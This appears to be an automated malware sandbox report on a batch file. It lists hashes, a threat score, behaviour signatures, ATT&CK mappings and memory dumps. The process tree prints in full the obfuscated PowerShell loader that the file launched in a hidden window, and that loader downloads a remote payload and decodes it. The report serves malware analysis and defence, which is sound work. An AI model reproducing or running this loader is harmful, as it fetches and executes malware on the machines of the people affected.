0546b035a94953d33a5c6d04bdc9521b49b2a98a51d38481b1f35667f5449326

General

Target

SKU_0001710-1-2024-SX-3762.bat
Size

5KB
MD5

fb6e5f4c35e2410abe92acca08412d29
SHA1

3e70e5fa943bf9ba4e2cadd21fc3b03a3ac899b8
SHA256

4f1b5d4bb6d0a7227948fb7ebb7765f3eb4b26288b52356453b74ea530111520
SHA512

3b7557f2429f2b420b59486a1bf40bf628d813257f0f4ac18d3141f3c0dc2661c71a18d16bffd24bb821993dbe8d58921befc72a6352282664526578d981068b
SSDEEP

96:huxRrcsSLAGiMygfOYiAx2MSauo6SrBJb4yr5BgDk:2rFSs3Hg5iAx2MSauoNVJ0yFBD

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2192	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2192	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2192	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2192	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2536 wrote to memory of 2192	2536	cmd.exe	32
PID 2536 wrote to memory of 2192	2536	cmd.exe	32
PID 2536 wrote to memory of 2192	2536	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\SKU_0001710-1-2024-SX-3762.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden " <#Derindad Telefonkdes Kroforvalterens knudshoveds #>;$Overimpressed215='Steroider115';<#Meso Allittereredes Sidelngder Petroleumsovn Markedsfringsomkostning #>;$Omittancesforstrke116=$Beseemingness+$host.UI;function Foreslaa($Tvivlstilfldet){If ($Omittancesforstrke116) {$Photoelectronics++;}$Transformationsprocesser=$Selskabsrevisors+$Tvivlstilfldet.'Length'-$Photoelectronics; for( $Omittance=4;$Omittance -lt $Transformationsprocesser;$Omittance+=5){$Benzanthrone++;$Vandsskader+=$Tvivlstilfldet[$Omittance];$Styreformerne15='Uproblematiske';}$Vandsskader;}function Heraclitean($Shagrag){ & ($Liljekonvals) ($Shagrag);}$Noden=Foreslaa 'CuprMTorpoStigzSc tiUninlS orlCarbaSkul/Lige ';$Noden+=Foreslaa 'Intr5 od.Slip0Poli Omf( Ed WBairiPreinRummd In oRandwHumosKjru FemaN recT Sta Ste1 Cab0Jux .Ixo 0 For;Sind TalaWGorbiVaesnHem 6.tvk4Afst; v.d SattxSt.b6Kabo4p.lk; Pet Visur etev Udh:Khed1Agit3Brig1Else. Lai0Edul)Deli spirGSlage rocLandkDemooW ys/ .ri2Di k0 .en1,ijo0Rest0Auto1Enla0Id.o1S am BosFAfskiMarkrP omeF ihf teo,entxRobo/U es1Sand3Trav1 Cou.Indl0a em ';$Deglutitive=Foreslaa 'MotiuSne,SHjesE An.RBou - RedaOto G K tE chenN nsTOxgo ';$Spisekortet=Foreslaa 'Glach P.itSubstMod.pDogg:Tiec/ I.t/ConnaHererFesttu.viiansaeFa nr diriCi r.cl.nrDecaohypn/At ogSfol/TessSPersk R,liEksifSko f gale.uchrNor d ErnkTy ek Un eBor re itsSprj.NunnpObstcEngrx.jla ';$Allineate=Foreslaa 'Fila>F.ru ';$Liljekonvals=Foreslaa '.amuIBisaePo.kxCor ';$Brneormens='Sybaritternes';$Omittanceronsided='\Rgnes.Und';Heraclitean (Foreslaa 'Forb$Ko,fgShorLUnifOEpigBC moASaprlOmf :kautFPromOU gyZPoutIForfnSu,pe AddSLunesKins=Co.e$ Lu,eQuesNSvnlVDell:UnscanonvPRingpDisuDkakiA omaTEquiAThys+Komp$ oodoSn wmU piiNoonTAwarTMag ABearnzibeCFortEUndeRKil o O,enYppesSystiAftedFarieDiopdMukk ');Heraclitean (Foreslaa 'or a$SvorG L,vLCe.tOko,mbSolba HypLOut,:WaremWearA P arU,vojBenfU So,Nfor Sanop= Cos$ConuSH.ftPFan I IsosRochELat k chaOUncorOmk,tCherelierTNe.p.Es asOrieP StrLS vsiLocutAfgi( Min$AkkuaG nzl CollPhalI BdeN higeS ngA ArmtIliaeTric) Sta ');Heraclitean (Foreslaa 'Pane[EscoNMythEDrysTHelt.scotS nhETovbrPladvRdbrICentCAfb EVas p ynaOO.tbIBedsnParat VapM orkaForbnMarmapenngHoppeShirrHals].nal:Leve:,uttSHov elovmcDisbU ,arRErriIEschTU bryDelkp AntRTeosOTunntKulkO NolCUdhooRendlPe.s Prey=Data U,or[ uleN ukeToldT Gez.Af,aSKl,keConscFormuNe tRManuIGysetspiryPrevPc.arrunr,OStamtCe loPhasCStamoD sil NomtaqqaY F lpschiE Ufo]Fend:E.cy:Rstetw nwlOmk sBerr1For,2Siti ');$Spisekortet=$marjuns[0];$Resident=(Foreslaa 'Para$Carag,verl FebOForebSe mAbattLRveh: ordoGoosVW geE EverEupssSu cp Ad rprofiG,lenI nkGHyraE,kerLskn.SCandEs bcRDe h=Fljenu.trE ExeWNon.-B skoBarnbTrskjWoodeOptrcUtydT Pre UncsWresY SansStertH,tteArmomPost. ditnNitrET.avto pa. Sumw D mEZealb ealcSuboLUntwiPerie PrenIntetTh e ');Heraclitean ($Resident);Heraclitean (Foreslaa 'Hand$klagOPecuvDyste HalrSt,msMundps,ntr ReniV ounTriagLygteS ralSplasKo oe Gadr.kol. LobHHugheTribaRet d CoveStatrA skstil [ sj $CentDelimeNazagTendlHuz.uNordtChoniisott wh iHjlpvI,eneCaml]S an= pec$ SkaN G ooFrd dAusce PernBog ');$Nrme=Foreslaa 'Unec$embrO.dspvUnbeeHabirStorsEn.hpp.lyrBr.tiNgtenDemyg lateIn rlKondsTalee tatrKomm.GodsDTricoHolowdc,an.ymplPortoUnpaaDemod SueFGradiBroklTeleeOnch(,ust$tilgSTjrepUmedi BunsHastespeakS aaoComprTilktSku eprictFort,El r$M ltUSyntnFoendCi,ieForlrToeiaPassfHydrkInfelBo b)Ge a ';$Underafkl=$foziness;Heraclitean (Foreslaa 'Etio$,iveGDeioLCucko BruBPe,tAP.olLP,ri:Re,eFIndpLSinuO H moSilisdisqiBreiEKaloS Beg1Narr8.lag6 Acc=Bund(IndgtFon EFormsOlietUnde-Diskp .ulaPro TPa,fh ub A te$Vic,ufyrbNKaradUdfoEBesmR St,aTop.F Hy KForflWa,e) Re ');while (!$Floosies186) {Heraclitean (Foreslaa 'Hoft$IndlgArmllVurdoEr,tbAnmeaV.lul Tux:RedaCPercrMikkeImfcaDisatStrue RemsBjer=Opbe$VisttStarrWhauu M,me Man ') ;Heraclitean $Nrme;Heraclitean (Foreslaa 'S alsforkTPrehA iar d sT,orh- ChrsPro lAnd.EUdm,e BalPCha, Bol4Hvep ');Heraclitean (Foreslaa 'Eth $BiotGFodklDyreoFetibSupeAPjanLPo a:Sem fBlablBasiOdjakOmusoSTirsIMetaeOld SSk o1Chur8 Paa6Eng =Manc(Nonet FatEWh rSSa.et G a-Ov rPRevoaCi,atBoycHvolu Trif$Ref UBombnCamodros eAntiRS peaAltafAgu kTripLHydr)Rece ') ;Heraclitean (Foreslaa 'Cara$ isgHumiL ConomistBunnaAKrumlOpaq:PseugOverlVidnu La T ousCHearh Tek= Pe $Var gAkkoLC mpO GrabPas,aT,lll Gra:Ta.sRstetuDisdtS ciIF,leNE sueSty r SkuE SattDump+Indt+Efte% Mol$PapuMB.agA StaRGrupjH.lduObseNgru STi.f.FremCNatiODebiuSpirn HjrtReka ') ;$Spisekortet=$marjuns[$Glutch];}$khalil=314533;$Humdrumness=30402;Heraclitean (Foreslaa ' ogh$ lgegJernL blnoex,ebPreoaContlTarh:Sa dFTalli MegN MedGphoteO strInteWElitoAs erAttrkPavi Afm= arn SneaGv.gteSlottInds-c itCE,phoNonpN sekTStjeeIndunFisktFast Ret$Nonauunhen ildU grEU hyRhy.oAHedaFFirekIntrlRaad ');Heraclitean (Foreslaa 'Sky $k.ttghonklSalooMiscbF rma dmilT,re:,bjeBB.colMicriAn lcProtkStraeRecoyStoc Disc= Syr nedt[CospSAmp yUnhys FhotBefle kammDamb.TinfCTetroToyinFamivGst eFedtrAuritPneu]R.go:Ayou:DampF Milr omoEx pmIrbiBEfteaYndlsFieleUnmi6Haem4LugeSfngst ronrMassiCabbnPectgExen(Reta$ CreF TiliS otnforkgReumeH.pprBilawImmooHekhrFormk All)Svrt ');Heraclitean (Foreslaa 'Coun$PrecGScanLS.inoKultBlamiaDr,tlYlva:Le,lUGodbPBortH,ounhTrauoStorvEfteE Tid Visi=Du d Fejl[ oths P lyUnemS,necT GloERevimOu.e.Ma stPsameGlycx BevtIacc. VicEHalvNBehacBrylo.lyaDfr diFny n ArgGForb]Frds:ove.:AbscAFormSTrilc Sk.iProei Tru.ScapGBrneEMolatUnbrs hagTIllerAfluiExhon,akkGFun ( S b$ akkbBusmlTr.aI,tancpr bKMange RhoYLo,a)Bron ');Heraclitean (Foreslaa 'pleu$BilaGSpidlSha OUppebPsycaHom LBaha:SkalHKdkrYFlocPBywaETot R SarPPan.YDa rr AssAAssemStimiRedlDHipf=Met $VelvuBiogP MedH dmHLionOAa eVDemoE,ejl.Opris veruTwisbnonoSUt.hT vatR jasIB,adnGli.G,nar(Sel $minik unkhExena OmplCumbIja.bLFork,Inco$ U rhStatuSubsmFolkDKroprmaegUA,grm LatNTylveS,ols LysS ynt) ina ');Heraclitean $Hyperpyramid;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2192-4-0x000007FEF5E0E000-0x000007FEF5E0F000-memory.dmp

Filesize
4KB

Download
memory/2192-5-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2192-6-0x000000001B7D0000-0x000000001BAB2000-memory.dmp

Filesize
2.9MB

Download
memory/2192-7-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/2192-8-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2192-9-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2192-11-0x000007FEF5E0E000-0x000007FEF5E0F000-memory.dmp

Filesize
4KB

Download
memory/2192-12-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2192-14-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing